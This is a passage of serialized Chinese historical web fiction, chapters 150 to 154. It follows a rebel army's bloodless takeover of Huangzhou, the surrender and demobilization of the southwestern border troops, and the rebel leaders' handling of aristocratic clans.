“忠州不成,不是还有黄州,黄州边军几万人,主公不可能全部收编,到时候这些人手都能释放到民间。”一口气多几万劳动力,对哪个州来说都是好消息。 “说来这么久,朝廷那边也没送军饷,黄州的边军如何度日?”黄州不曾有过动乱的风声,主公出身黄州礼县,又在礼县经营十数年,根基再稳当不过,黄州有任何风吹草动必然逃不过主公的眼睛。 “朝廷虽然没送军饷过来,但也没收秋税不是吗?”蔺肃想黄州一年的税收可比朝廷的军饷还多,指不定边军的日子比从前还好过。 “这话是不错,但黄州刺史肯吗?” “不肯也得肯,眼下黄州和朝廷断了联系,黄州刺史虽是黄州最大的官,但他能指挥的也不过是一些府兵,加一块不及边军的一半。”黄州的刺史已经在位置上赖了有十年。 大历边关的州府,油水肯定没有中原好捞,但都做到刺史的位置,送钱的人肯定少不了。 “好打吗?”樊泊不是西南人,虽然已经跟在主公身边三年,但对西南的局势了解肯定不如蔺肃这个本地人,尤其人在礼县的时候,肯定和黄州不少势力打过交道。 “打肯定不难打,黄州刺史不是个能当大事的人,也没有领兵作战的本事,文官里,王襄那样能领兵的已经是少有人才。 只是看咱们到了黄州,边军会不会闻风而动。” 玄甲军在盘应忠三州动作,边军没反应可以说是因为没有接到朝廷的命令不敢擅动,但人都打到黄州了,边军再不动,也是要治个玩忽职守之罪。 樊泊了然,黄州还是看边军的本事罢了,在盘州时,蔺肃就曾和他说起过边军的情况,说厉害算不上厉害,但到底是军营出身,比起一般人肯定能打些。 “若是翻年后出兵,我有把握年中能拿下黄州,只是这头忠州才拿下,就紧赶着拿下黄州,治理的人怕是接不上。” “若是其他州有这样的担忧是应该的,但黄州你可记得是主公的老家,论识字,整个礼县就没有睁眼瞎的,不过大部分人都在礼县过惯了日子,轻易不肯离开,玄甲军打过去,能提拔的人才少不了。” 蔺肃这话断定黄州有人能治,那么樊泊就要上书东家,赶在年关口决定明年继续出兵黄州。 明年年中前拿下黄州,后年便可向中原迈步,按这样的步伐,不消三五年功夫,整个中原就能尽收囊中。 千里之外的老家长安,也能早些回去。《 》 150-160 第151章 “吁——”快马停在军营门口, 报信的士兵快步去了主帐,这时候营内各位将军都在主帐内同将军议事。 先前的西南将军被革职查办,阖家都被押送去长安受审, 朝廷那边怕西南守军有异,派来的新将军是朝中嫡系,初到军营自然也是水土不服过的。 毕竟边军虽受中央调遣, 但平日因朝廷克扣军饷, 都对朝廷有极大的怨气, 这会子来个不知道什么底细的外人, 除开面子上功夫过的去, 私下里是否使绊子, 就看人这将军是否得人心。 好在这几年下来,新来的这位将军做事还不错,尤其是西南出了乱军之后, 西南边军和朝廷彻底切断联系, 消息都送不出去,更不论要朝廷送军饷。 亏得蒲将军和黄州太守据理力争秋税,方才叫营中将士不至于哗变。 不然几万人吃喝解决不了, 黄州这会太平不了。 “忠州就这么拿下了?”营中有将军收到消息后,震惊不已,自从玄甲军占据盘州后, 黄州这头或多或少也收到些风声。 原以为不过是昙花一现的叛军,迟早自己玩完, 谁料竟不声不响拿下三个州,也没出什么乱子。 甚至有盘州应州过来黄州做生意的,都说如今盘州应州比从前还繁华,勾的不少黄州富户铤而走险去了敌军营地。 不过看人都安稳回来, 可见玄甲军的确不避讳和大历往来,尤其前不久,听闻盘州和江对岸的昌州也渐渐恢复往来,这是在为进军中原做准备了。 “忠州刺史早就弃官而逃,之前又乱过一阵,遇上玄甲军本也不是对手,被拿下在预料之中。”蒲将军对这个消息并不吃惊。 “将军,这话如何说?咱们现在和中原隔着三个州,原说可从西北走草原给朝廷传消息,可谁想中原一场天花,叫朝廷都南去了,如今也不知返没返回长安。 纵然咱们手里兵力能和乱军碰一碰,但粮草不足,也是孤立无援。” “我知道,玄甲军取盘州就已经定下咱们孤立无援的路,现今只有两条路可走,要么立刻出兵,打玄甲军一个措手不及,赢了也能给朝廷一个交代,输了被俘也没什么不服气的。 要么等着玄甲军过来,或是固守军营,或是举旗投降,诸位怎么看?” “蒲将军,你我都清楚,咱们知道西南有乱军却一直没动,就是因为没有朝廷的旨意,怕平乱之后朝廷反而要治咱们擅自动兵的罪。” 虽说有功不赏反罚的情况属实叫人心寒,但想想朝廷上那位皇帝历来做的事,也不难得出这个结论。 “那你的意思是按兵不动?” “若是乱军打到黄州,咱们动兵朝廷也没有说嘴的理由,只是看咱们能不能打过。” 按说边军本事不该低,但比起北面又实在不足,从前那位将军又是好逸恶劳的主,练兵也都是交给下面的人。 可上行下效,上面都不尽心,下面还能费力不讨好不成,如今叛军占据三州,回来的商户都说玄甲军富庶,甚至能叫各州十五岁以下的孩子都念上书,招兵买马之下,必是兵强马壮,他们不一定打的过。 尤其是消耗战,那一定是打不过的。 “难不成咱们手握重兵还要直接投降?若是日后朝廷大军打过来,咱们不战而降要如何治罪?” 蒲将军摇头,“难道战败归降,等朝廷打过来就不治咱们的罪吗?” 这话问住了各位将军,下面的士兵朝廷肯定不会轻易动,但他们作为将军,必是要治罪的。 只要兵败,不管是战是降,朝廷一来都没有活路,除非能够和朝廷大军暗地里联络,里应外合之下或许能够有活命的机会。 但朝廷什么时候能够有大军支援谁也不知道。 看来看去,眼下只有一条出路,投降,玄甲军若能不费一兵一卒拿到黄州,又接管西南军营几万兵马,肯定是乐意的。 只是黄州也不是他们西南边军说了算,至少黄州的刺史肯定不会轻易答应将整个州给玄甲军。 玄甲军行事诸位将军也都是听过,就凭黄州刺史在黄州这十年做的蠢事,都够当即砍了脑袋的。 黄州献出去,无异于把自己命也一块丢出去,黄州刺史愿意才有鬼了。 “蒲将军,要把咱们——”下面的人做了一个杀的动作,黄州刺史必然是要死的,他们提前杀了拿到黄州的控制权,再献州给玄甲军,必然能讨好玄甲军。 “不必这么麻烦,想来黄州想要黄州刺史脑袋的人不在少数,咱们若想要接触玄甲军,只管去派人去礼县问路。” 玄甲军主公之一出身黄州礼县,已经不是什么隐瞒的消息。 原在西南几十年的老将,也都知道礼县尚家,近几年,军营一直和尚家做生意,尤其是药材。 谁能想当初一个小小的药材供应商人转头成了叛军头子,不知这位尚东家是早有预谋,还是去了长安娶了别家公子后,被撺掇起有夺天下的意思。 礼县。 自从有风声说尚东家原籍就在礼县,前来礼县打探消息的不在少数,只是礼县上上下下都受尚家恩惠,遇上外人都是能赶则赶,至于说动用武力,先不提整个礼县百姓瞧着都是能拎起锄头干架的。 单是玄甲军就在几百里之外,谁也不敢挑衅不是,更不说能够拿下一个县的势力,在黄州境内不多。 西南守军肯定算一个,黄州刺史若是召集府兵也算一个,其余地方豪强,联合起来,倒也勉强算一个,但地方豪强或多或少也都和尚东家接触过。 不说尚东家一手妙手回春的医术,就是尚东家能够从破烂瓦房走到今天就知道其人本事,西南大势归玄甲军,他们再没有眼力劲也知道这时候和玄甲军作对,非死即残。 “这人来了一波又一波,可见是着急了。” “可不是,东家有信,大军就在黄州边境驻扎,随时能打过来,这些过来打探消息的,无非是想看看能不能从咱们这儿寻门路投靠东家。” “何止想投靠,还想攀关系,也不看看时候,都火烧眉毛了,才想起寻水,还寻错了地方。” 礼县是尚柒原籍不错,但礼县百姓得过尚柒恩惠,却不见得能够和尚柒攀什么关系,有本事的早都被尚家看重,余下的多不过认识几个字罢了。 或许玄甲军入黄州后需用人手,他们有机会寻个好差事,但要说能有更多好处,也是天方夜谭。 “前不久不还有人去了长平村,打听到东家有几门亲戚,想要登门送礼。” “这可是马屁拍在马蹄上,礼县谁不知道东家和几门旧亲关系不好,这伙人竟连这样的事都没打听出来?” “这事谁也没瞒着,偏有人不信邪,还当打断骨头连着筋,也不看看当初东家立起来的时候,这些亲戚过来占便宜,东家是如何教训的。” “没人管管?”真叫这群亲戚打着东家的招牌得了好处,抖起来可是平白恶心人。 “何必管他们,这伙人知道东家起兵的时候还扬言早就断绝关系,日后诛九族也诛不到他们头上,这会子看东家起事将成,又过来充大头,早晚是要栽跟头的。” 这样投机取巧之人,都不必东家费心,只要这些讨好的人家晓得马屁拍错了,不光没得东家欢心还惹了东家厌恶,有这群人好果子吃。 盘州。 “西南边军有意献降?”别此云听尚柒说礼县传来的消息后,惊异的看着他。 “西南边军孤立无援,知道和咱们打没有胜算,只是献降是一时之策等来日和朝廷联系再做打算,还是真心诚意,说不好。” “不管是否真心,一旦献降,他们在朝廷哪里可没有出路,还当黄州是场硬仗,不想峰回路转。” “也不尽然,黄州刺史还是个麻烦,不过打起来也只是费些功夫,开春前,玄甲军就能占据整个西南,今年咱们倒也能过个好年。” 来西南也有好几年了,别此云也到了及冠之龄,不知拿下整个中原,又要耗费多少时间。 “今年二堂兄大抵是回不来过年了。” “明年应该赶得上,明年一整年我都不打算再动兵,也不知一年安定整个西南够不够。” “几年功夫,不知不觉整个西南已经被打下来了,咱们运气不错。” 尚柒点头,整个西南征召的兵力已经足够他们驰骋中原:“说起来,朝廷从江南回长安后,倒是没听见什么动静。” “长安没传来什么消息,多半还在恢复秩序,草原”说到突厥,别此云抬起头,中原天花重创过去,草原自然也恢复正常,只是这天灾人祸叫草原一蹶不振,随时可能南下。 “咱们现在手有余粮,可以可草原做一些生意,如果能有一线生机,想必草原也不愿意破釜沉舟南下。”草原南下一般两种情况,要么兵强马壮想要占据中原,要么闹饥荒想要掠劫中原,若是能叫草原情况维持在两者之间,倒也能够牵制一二。 “酒水、茶叶、布匹、糖、盐都是硬通货,草原如今的冶铁技术尚不及大历,咱们铁器也能卖,不怕他们融了再锻新武器。” 草原的硬通货就是牛羊马,一些生活基础用品换牛羊还成,好马草原也是轻易不售卖给中原的。 铁器可以换马,也能叫西南境内的牲口荒缓解缓解。 第152章 西北。 和中原西南以耕作为主不同, 西北更多是养牲畜,虽然比不得草原只以牲畜谋生,但想要供应大量的牲口, 都得从西北买卖。 去岁奇怪,打外头来了一只商队,只在西北境内收购羊毛, 价给的不高, 但有多少要多少。 平日里这些羊毛也就能做个毡毯, 但这样的东西百姓是不会用的, 富贵人家也不是见天的换这些东西, 自然羊毛基本没什么利用的余地。 这会有人想要收购羊毛, 哪怕再便宜也是赚的,尤其打前年那场天花后,长安和西北以及塞外的商路都萧条了不少, 商人来往少了, 赚钱的机会也就少了,不少西北百姓的日子过的越发差,有个新门路也算是为家里增加口粮。 “这羊毛竟然能够织衣裳, 咱们祖祖辈辈都养羊,竟然没想到这个道理。”去岁来过的商队赶在开春又过来,这回不光收购羊毛, 还带来羊毛制成的衣裳。 “咱们连怎么把羊毛上乱七八糟的东西弄干净都不知道,更不说用羊毛制成衣裳了。”还得是生意人会赚钱。 “话是这么说, 但既然有人能做到,咱们也可以试试,你没看那羊毛买价才多少,羊毛衣卖价又是多少?”说起来这次商队带来的羊毛衣不多, 所以贪新鲜的都是富贵人家,平民百姓倒是没这个福气。 看到羊毛衣背后利润巨大的也不止一家,但要说向商队动手,又没谁敢冒头,西北虽是偏僻之地,但也不是全然一点消息都不知道,尤其是西北紧邻西南,虽来往没那么方便,可玄甲军已经在西南这么久了,再不知道西南冒出股新势力,只怕人家都要打过来了。 西北当官的自然也发现境内有玄甲军的商队,但一个个也不敢阻拦,毕竟人家没有明目张胆打着玄甲军的旗帜在西北境内做生意,他们匆匆忙忙去把人抓了,给朝廷送过去,说不得朝廷的奖赏还没下来,玄甲军先打过来了。 终究惜命的人更多。 “偌大的西南竟没一个能打的,也不知西南守军在干什么,竟叫一伙反贼称了王。”宏州刺史恶狠狠的同下属痛斥同僚,“若不是西北守军不归我管,早就调兵打过去,收复大历的失土。” “明大人,那玄甲军不过三年功夫就悄无声息的拿下了西南,转头人想要往外打,咱们少不得要跟人对上。”想和反贼交手,那机会是不少的。 “西北之地毫无助益,要我拿下西南往外打,头一个要打的是昌州。”明刺史看得明白,西北之地要肯定要,毕竟往塞外去少不了要经过这里,但只要拿下中原,区区西北还有不投降的吗? 所以明长青笃定玄甲军拿下西南之后,下一步要拿的是昌州,只是眼下朝廷顾及不到西南,方叫玄甲军一再壮大,等玄甲军去了中原,只怕朝廷再不能装聋作哑下去。 而西北历来都是作壁上观,等哪边打赢了再投降就是。 “密切盯着玄甲军在宏州的举动,虽咱们拿他们没办法,却也不该有过多交集。”如今朝廷和玄甲军谁胜谁负犹未可知,他们还要更谨慎些。 —————————— “报——黄州刺史已伏诛。” 樊泊在大帐听得消息,松了口气,占据黄州最后一个障碍没了,如今整个西南就都归玄甲军所有了。 “调集军马,咱们往西南大营去。” 西南大营在此次献州上是出了力的,蒲将军率领全军投靠玄甲军,虽不敢说保全军荣华富贵,但肯定性命无虞。 樊泊入营的时候,仔细看过列队的西南大军,只看精气神是比不上玄甲军的,更不说一个个装备老旧,或许精兵还能看一看,但其余寻常兵丁,有一身勉强能穿的盔甲都算不错的。 和樊泊带领的玄甲军大不相同。 其实也不光樊泊在看西南大军,西南大军自然也在观察樊泊,樊泊在玄甲军出名前,名声不显,不少人猜测樊泊是尚柒和别此云慧眼识珠,于微末提拔上来的。 这话也不算全错,樊泊当初在禁军也的确是微末,如今能够统领全军,并叫家里人过上好日子,都赖主公提拔。 不说别的,自樊泊入军营后,是半点没操心过军中装备和粮草,两位主公在后勤上从不克扣,甚至比过大历强过数倍。 不少因为家穷参军的汉子,如今是根本不想离开,毕竟回家可不见得有这样好的待遇,家里不说每日有鸡蛋吃,就是连白面馒头也不知多久才能吃上一回。 “樊将军,久闻大名,今日终得一见。” “蒲将军不认识我,我却是见过蒲将军的。”之前蒲方成还在长安,亦在禁军做事,只是蒲方成是武将世家,一如入军营就有小官做,认不得下面诸多将士。 “不知樊将军在何处见过某?”蒲方成仔细打量樊泊,似乎也的确有几分面熟,但细想又想不出个所以然。 “我从前亦在禁军效力,不过几年前随主公来西南任职,倒是蒲将军该是比我早来西南几个月。” “禁军?”蒲方成吃惊的看着樊泊,他在禁军,大大小小的官都认得,虽离开长安几年,却也不会全然不记得从前同僚,但樊泊却是一点印象没有。 要么是樊泊在和他开玩笑,要么是樊泊当真在禁军籍籍无名,虽说玄甲军占据西南,只忠州算是真真切切打过一仗,但只看樊泊身后军队的模样,就知玄甲军不是什么花架子。 而要训练好一支军队,当将军的必不会说是个酒囊饭袋,甚至练兵这一块蒲方成认为自己是比不上樊泊的,这样一块良才美玉在禁军被埋没,成了反贼才大放光彩也不知叫他如何评价。 禁军中像樊泊这样有本事而没办法升迁的人肯定不在少数,他和诸位武将世家出生的子弟占据高位,也要负一定责任。 “营中还有不少从前禁军出身的兄弟,只是蒲将军大抵都认不得,今日过来也非是叙旧,早前主公已经传信过来,说了如何安排西南大营的诸位。” 蒲方成也知不是细究的时候,便点头请樊泊入营帐,他也想知道玄甲军的两位主公要如何安排他们。 按说西南守军都是将士,直接打散分配入玄甲军各营最好,但看玄甲军的气势,蒲方成又摸不准玄甲军到底是什么意思。 “放归良籍。”这是蒲方成没想到的,他知道玄甲军治下给在乡下过活的百姓分地,这些营中将士都是上好的劳动力,若从军营归家,分得田地,每年的税收都会涨不少。 但玄甲军是要打天下的,粮草只要足够,肯定还是要顾及手中士兵数量,不然动则十万百万的人马打起来,他们岂非是毫无胜算。 “不错,若营中有想继续在军营效力的,可叫他们从原籍征召入伍。” “若是他们都不想再参军,玄甲军就这样眼睁睁看着吗?”当兵是苦差,若是家中没地没房肯定还会回来,偏玄甲军要给分地,这样如何能够叫士兵愿意再次入伍。 “玄甲军兵力贵精不贵多,时下玄甲军大抵有五万人马,平日伙食开销都比大历精兵要好,说是比大历五万精兵还要厉害也不为过。 蒲将军也在营中做过事,知道五万精兵在战场上能够发挥多少实力,便是蒲将军不投降,你认为西南大军能够对上五万精兵吗?” 蒲方成不语,这自然是不能的,五万精兵何等可怖,玄甲军竟将招来的每一个兵丁都往精兵训练,如此,便只有五万人也能去中原和朝廷碰一碰。 别看禁军几万人马,其中精兵能有一万都是多的。 “主公的意思,这些归家的将士会给一笔遣散费,不多,但足够他们回归原籍安家。”建房子肯定不够,但能回原籍的肯定都是有个家,“其余不是西南籍的兵丁,可选择在西南四州落户,若在乡下可按规矩分得田地,若在城中,便落脚玄甲军修建的临时住所过度,眼下各州都缺人缺的厉害,只要肯干事不会叫他们饿死。” “我会同将士们传达。”蒲方成知道没有商量的余地,但玄甲军给的条件比大历要好,虽然大历将士退役,也给一些遣散费,但那点钱,能叫家里过两个月好日子都是多的。 “遣散会分批次进行,没轮到的将士暂时留在大营等候。”一口气放归几万人,即便范围在西南四州也容易生乱。 蒲方成点头,这些举动也能看出玄甲军的两位主公不是酒囊饭袋,“我们这些做将军的也要遣散吗?” “你们留在营中,等大军遣散完会到盘州面见两位主公,再由主公决定你们的去留。” 樊泊看,这些将军能证明自己有真才实学,主公们是会叫他们留下来,他如今掌管整个大营,虽有别景和分摊压力,但还不够。 这些老将虽油滑,但能将几万大军管理好,说明人也不是完全无用。 蒲方成点头,他自然是愿意继续在军中效力,只是他的家人还留在长安,天花来袭的时候跟着皇帝去了江南,如今朝廷搬回长安,家里人必然也跟着。 若是西南守军投敌的消息传入长安,哪怕皇帝换了一个,也绝对不会放过他家里人,所以他想求主公趁着眼下消息还没传开,将他的家里人接到西南来。 不然只能求主公对外宣称他已经战死,方才能保家里人周全。 第153章 对于蒲方成的要求, 尚柒自然是没有拒绝的道理,要是蒲方成的家人都在长安,就是蒲方成有天大的本事, 他也是不敢任用的。 毕竟新帝拿捏着人的软肋,换句话,蒲方成真要是不管他长安家人的死活, 一心一意的投靠玄甲军, 这样的人尚柒也不敢用。 “冯风已经随朝廷回了长安, 只是我在长安的势力不多, 肯定还要借用此云你的手办成此事。”尚柒能够插手长安的事情有限, 更不说这位新皇帝是晋王, 之前在长安和冯风打过交道,如今冯风回了长安也不敢多露面,不然叫新帝看到了, 定会闹出一段麻烦事。 “以眼下长安的情况, 带蒲将军一家人离开并不难,左右都是要走一趟,不如将西南治下任职官员的家人都一并接过来如何?”西南的官肯定不都出身西南, 能在玄甲军留用的,人品能力都不成问题。 若能将他们家人接到西南来,也能叫他们更安心为玄甲军做事, 不然家人身在大历,虽部分官员在玄甲军治下也没兼任什么大职, 但风声传到朝廷耳朵里,突然想起要拿捏他们,焉能叫他们家人有活路。 “此云想的周到,长安的事你且先安排, 等我安排人下去统计他们家人都在何处,有了结果在行动。”从长安接人,可一不可二,新帝一班子也不是吃白饭长大的,蒲方成家人一逃,肯定会戒严。 “说起接人,我倒是有一桩谢琅送来的消息。” “谢琅有什么话非要你转述?”尚柒起了好奇心,不是他说,他和此云不敢说形影不离,但在盘州基本没什么分开的时候,谢琅又是他们的友人,没道理只见此云不见他。 “与谢家有关,他为玄甲军效力的事虽瞒着家里人,但长此以往必然是瞒不住的。”到底明面上的朝廷还健在,像是大世家想要造反也都还是悄悄摸摸的办。 谢琅当初来西南为夫郞求医,打的就是尚柒这个神医的招牌,转头尚柒成了玄甲军的主公,谢家就是再傻也明白谢琅已经深陷乱军之地。 这时候谢家要么弃了谢琅保谢家周全,要么就干脆加注叫玄甲军一鼓作气推翻大历,可无论是哪种选择都不是能够轻易下的。 “谢琅这么说,是谢家有意和咱们接触。”不然谢家选择放弃谢琅,直接不与谢琅联系就是。 “不错,只是谢家有所助,便会有所求,你我都知道口子不能开。”别此云不在意谢家给的帮助,不说远了,西南之地能够自给自足不说,打去中原,玄甲军也能立于不败之地。 只是世家的权力不能平稳的瓦解,必是要打个天翻地覆,也不知那时候中原又是怎样的烽火狼烟,想要恢复生息有需要多少时间。 “谢琅有给谢家说明白玄甲军的行事吗?”尚柒自然是和别此云一个意见,他绝对不会放纵任何权力给世家,没看别家到了西南都老老实实按照玄甲军的规矩办。 别家过来的人这样多,也不是没有悄摸试探玄甲军底线的,被尚柒和别此云抓到了也都依律严惩,从此别家也都老实规矩的做事,再不敢兴风作浪。 “信里说的再多哪有眼见为实来的震撼,咱这里的条条框框照往朝看,也没多出格,只是这些规矩从前是不给世家定的,他们自然也以为,世家在此地多特殊。” 这就是世家的自信,历来王朝都离不开世家,其一世家若不出人,天下还有多少人识字,能够帮皇帝治理天下?其二世家手握土地人口,真要是逼急了,联合起来换个新皇帝,也不是不可能。 “那这样,你告诉谢琅,且叫谢家先派几个人才过来,如今玄甲军都没有打去中原,许诺再多也有反悔的一天,不如先叫谢家在咱们玄甲军这里占住位子,日后玄甲军成与不成,谢家都有说法。” 尚柒信,只要他不出西南,谢家百分之百不会过多干涉玄甲军,但要他们就此视玄甲军为无物,怕也安不了他们蠢蠢欲动的心。 “空手套白狼的计策你倒是用的好,若是中原接下来几年没闹出什么新乱军,谢家应该是愿意押一个宝在咱们这里。”不说谢家,就是萧家王家有门路,也肯定会送些人才到玄甲军治下。 是个人都知道,真等玄甲军打去中原在想办法露面,好位置都叫其他人抢走了,想要和新势力套交情,最好就在新势力还是发展的时候。 “玄甲军也不是什么人都接,真要是几大世家的人都来,只怕谁也无心做事,全放在你争我夺的党争上了。” 说是党争,倒也算不上,毕竟来的不过几个人,只是私下里你不肯与我方便,我不肯与你交好,打个不可开交,还有什么精力做事。 便是明面上和和睦睦,私下也少不得阳奉阴违,尚柒最忌讳外敌还没打先内斗起来,玄甲军按照他和此云的路子,一路打去中原不成问题,但一旦起了内斗,可就说不准了。 “其他几大世家想押宝也没门路,只要咱们还在西南,他们也只能观望着,总不会直接派人过来。”好歹新帝才刚登基,别的不说新官上任还有三把火,这时候世家若触了新帝的霉头,绝计落不着好。 是这个道理,拉拢一个世家也有好处,就是日后在中原有什么变故,也可以叫世家之间内斗起来。 在他看,世家若是不一心联合,其实不足为惧,毕竟世家最大的依仗在玄甲军这里根本不算什么。 “我们是不是该庆祝庆祝?”西南一统,对玄甲军来说是值得庆贺的事,对他和此云来说也是值得庆贺的事。 “你想如何庆贺?”别此云略有些苦恼,实在是因为他和尚柒的身份在西南不是秘密,混入寻常百姓堆里肯定大部分不认识,但想刺杀他们的人又不在少数。 常言道明枪易躲暗箭难防,尚柒武艺再高,遇上一群刺客,那也是双拳难敌四手,眼下只一个西南,已经叫他们少能得闲,等日后取了天下,恐怕再也没有清闲观那样二人闲暇的时光。 “时下也没什么新鲜玩意,便是打马球你我都不是能上场的,若说庆贺,在家中摆宴,只你我二人休息休息罢了。” 西南一大摊子,他和此云殚精竭虑,要说能抽出空闲休息那是假的,如今黄州打下来,虽事肯定不少,但至少能够偷闲一日。 “那你可得当心,若是乌桕得了你在家开宴不叫他的消息,必是要寻你闹的。”南枝历来懂事,这几年下来,也接手了不少玄甲军的重担。 而乌桕还是十二三的年纪,虽不粘人但依旧一副小孩心性,平日里不是在看病就是在教书,心心念念催着尚柒赶紧完善医院事宜。 同时也是个小馋猫,遇上有好吃的不叫他,指定要闹阿兄不疼他了。 “黄州拿下,乌桕求着南枝要回一趟礼县,这会子已经和南枝出发该是到应州了。”尚柒显然早有准备。 “那还等什么,近来酒坊又酿的新酒,度数小,吃了不怎么醉人,正好取来吃几杯。”酒水生意最是赚钱,如今西南不缺粮,瓜果也多,时令节气采摘酿酒,度数都不高,不说儿郎,就是在娘子郎君哪里也很有市场。 “那我去请胡娘子备菜。”这个时节,天自然还不热,凉菜吃不得,还得是火锅最合适,可惜缺少辣椒。 是得尽快打一个出海口往海外大陆去,陆路走过去,三五载都是少的,一来一往十年都过去了,说不得到时候大历都被打下来,天下都要换个新天地了。 …… “主公当真这么说?”崔渠和崔家关系不好,嫁给谢琅后,与崔家基本没什么联系,但到底他还是崔家人,如今和夫君一同在玄甲军做事,自然也还担心日后回中原,老家的人落个不好的下场。 “嗯,我看尚柒和此云是铁了心要根除世家之患,你我虽身在世家,但也没有余力掺和此事。” 谢家对谢琅来说是何等重要,崔渠是看在眼里,眼下谢琅都不肯为谢家筹谋,崔家只怕更难。 “其实,玄甲军虽打压世家,但也并非是蛮横之辈,此前乱世多少世家都淹没在黄沙之下,到如今,只要本家不曾做过什么难堪之事,玄甲军未必会对他们如何。” 话虽如此,但几百年基业一扫而空,任谁都不可能心平气和的接受。 当然,在性命面前,荣华富贵都是虚的,这时候同谢家说要谢家放弃世家基业,谢家必然是不肯答应,但等玄甲军兵临城下,他们不答应也要答应。 到底是造反的势力,虽不滥杀无辜,却也不是不杀人,就说忠州的地方豪强,反抗最激烈的都是枭首示众,其余跟着地方豪强混的,也都送进矿山做事,有生之年能够出矿山见一见新世道,那都是命好的。 “我如今在玄甲军做事,便是日后谢家不成样子,也能保住一些人的性命。”更多的谢琅想做,但按玄甲军的规矩是不肯答应的。 要说谢琅能心平气和的放弃谢家,那是假话,但看玄甲军的做派,三代之后,还能冒头的世家又有几个,谢家传家几百年,真正能才也是屈指可数。 而玄甲军这里,出身草莽之辈不知几何,且玄甲军还一改自古规矩,任用姑娘哥儿,连他夫郞在此地亦有作为。 家中按照世家公子贵女培养的姑娘哥儿得知有机会一展所谓,而不是被家里人安排嫁人,岂会轻易放弃这个机会。 对世家公子贵女来说,比起夫君有本事,肯定还是自己封侯拜相青史留名更重要,从前只是没这个机会罢了。 “罢了,不提这些,天下大势,历来不是一人能左右的,而眼下冒出尚柒此云这等一变就要变千百年大格局之人,绝非他人能够左右。” 第154章 黄州收归玄甲军治下, 两位主公是要亲自走一趟的,隔壁忠州打下来的时候,就没这个待遇, 但这回尚柒和别此云去黄州一趟,顺道也是要看看忠州的。 不过忠州交给蔺肃治理,尚柒还是放心的, 不过等日后打去中原, 蔺肃宋月隐等人必然是要跟着离开, 所以离开之前必要培养出新人才才是。 说起人才, 礼县可以说是黄州最人才济济之地, 除去上了年纪实在记性不好的人家, 基本都认得字,但凡有上进心的,都是会读会写, 办事也牢靠。 虽之前抽调了不少人去清平县, 但都是些敢闯的年轻人,大部分中年人还是乐意窝在礼县。 这会子黄州需用人,官衙门的告示才贴出来不久, 不少礼县的人就争先恐后的应聘,不必背井离乡发展就有飞黄腾达的机会,可以说是天上掉馅饼也不为过。 黄州城一时热闹的很, 当然西南大营近来也热闹,第一批放归的兵丁已经陆陆续续返乡了。 这些汉子都是西南本地人, 家里人也都还在,带着遣散费回去也不怕没有着落,这部分人也多是黄州和忠州本地的。 要说这次返乡,不知多少汉子都心怀忐忑, 实在是入了军营基本就和家里断了联系,西南大营虽不禁兵丁和家里人联系,但离的远了,要找商队送信也难,收到回信的更是寥寥无几。 黄州本地的,还有个盼头,更远的应州盘州人家,就难了,至于不是西南本地的兵丁,十几年在营中服役,只怕都记不得老家在哪里了。 这不,忠州这边,蔺肃专程遣了人接待回乡的兵丁,倒不是什么大鱼大肉给人款待,如今的忠州也拿不出来这些东西,而各地界都派人等着送人回去。 大部分归乡的兵丁都是三五成群,因为当初招募兵役不可能一个村只出一个人,西南大营近年来也没打过什么仗,死的人很少,所以大部分都能寻到同乡好友一块回去。 李家村这头,就有十来人作伴同归,也是李家村在忠州苍县算大村,能使钱免除兵役的都使钱了,不然当初征兵走的,那只这点人。 霍连算是十数人里为首的,当初在军营也是个百夫长,比的一般兵汉要强一些,他家在李家村是少姓,不过三五家同姓,往上数几十年,是逃难安顿在李家村的。 家里除开他,还有弟妹,倒不怕十数年过去没人供养父母,只是算算年纪,弟妹也早已经成家,说不得膝下儿女都已经长成,能蹦蹦跳跳喊他大伯了。 “一走这多年,村子咋一点变化都没有,当初在黄州,不是听说玄甲军治下百姓日子过得都好,但一眼看过去,都还是从前的老房子。” “你也不看看玄甲军占据忠州才多久,便是要忠州跟应州盘州一样,怎么也得一两年去了。”更不说忠州还乱过,人丁都不知有多少折进去了。 “不管这些,只要玄甲军言而有信,分田给我,我就再没有什么不听的。”虽说这些参军的兵丁都是好手好脚,但力气活又不是天天有,靠卖一把子力气抗包不是什么旱涝保收的营生。 而要说种地,大家家里有几亩地那是再清楚不过,他们一走这多年,按说回去也是有地的,但家里人肯不肯还一说,指不定为了那点地要闹出什么乱子。 如今玄甲军倒是慷慨,分地给到个人头上,他们回去有自己的营生,也不怕为了口饭吃闹的家宅不宁。 “你当真打算继续种地,不参军了?”有汉子心里不得劲,也并非是说军营是什么好去处,但这些日子,他们的待遇和玄甲军的兵丁一样,不说远了,单是玄甲军给军中供应饭菜,就足够叫人看的流口水。 他们这些军汉,莫说吃的这样好,隔三差五菜里见荤,就是要吃饱都不容易。 也不知玄甲军哪里来的这样多粮食,能够供给军中这样吃。 “参军的苦日子我是过够了,便是玄甲军日子再好,我也还是想回家度日,顺道看能不能靠遣散费说门亲事。” 大部分征召入伍的,都是光棍,常年在军营,连个住处都没有更不提说亲了,到了他们这个年纪,能说上亲的多是寡居之人,但好歹也有个知冷知热的人过下半辈子。 一提起亲事,十几个人在没有不想的,他们之中也只有霍连成了亲,但成亲没多久霍连就参军了,也不知回去媳妇还在不在。 等牛车在社树停下,早收到消息的李家村村长已经在村口站着,瞧着从前的伢崽们已经长的认不出,忍不住流了泪。 “李叔,许久不见,咋一见到我们就哭,要是我娘瞧见了,还当我又作弄你家的鸡,要来收拾我勒。”有汉子和李村长亲近,一听说的话,更是可以听出来十几岁的时候猫狗都嫌的模样。 “浑话,十几年不见,还不兴我见着你们哭一哭,我家的鸡如今养的多,你小子要是敢再作弄,你娘的扫帚杆饶不了你。”李村长假装面色一变,中气十足的同这群年纪不小的混小子说话。 “李叔,十几年过去你这身子骨还如从前一样硬朗。” “你们少干偷鸡摸狗的事气我,我还有几十年好活,得了,别一大群人挤在一堆,回家的回家,要是记不得家在哪的,我领着回去。” “村子生活十几年,哪有连家都不记得在哪的,除非老子娘盖了新房。” “盖了新房,老宅也都有人住,走,只怕你们家里已经杀鸡割肉等着你们归家了。” 李村长走在前头,把十几个小子往家里送,到最后只剩下霍连一个,霍家几家住的都偏,是要多走几步道。 “霍连,你家媳妇可是等了你十几年,这会回来可要好好对人家,晓得官府要给你分地,但我瞧着地里粮食种再多,也就混个温饱,你若是有成算,最好去县里或是忠州城寻个差事,听闻眼下到处缺人,但我们这地里刨食的,是没那个胆子往外走。 你不一样,你小子在外参军这么多年,胆子大,若能在城里寻份好差事,带着你媳妇过去,过两年有个孩子,一家日子也就好过了。” 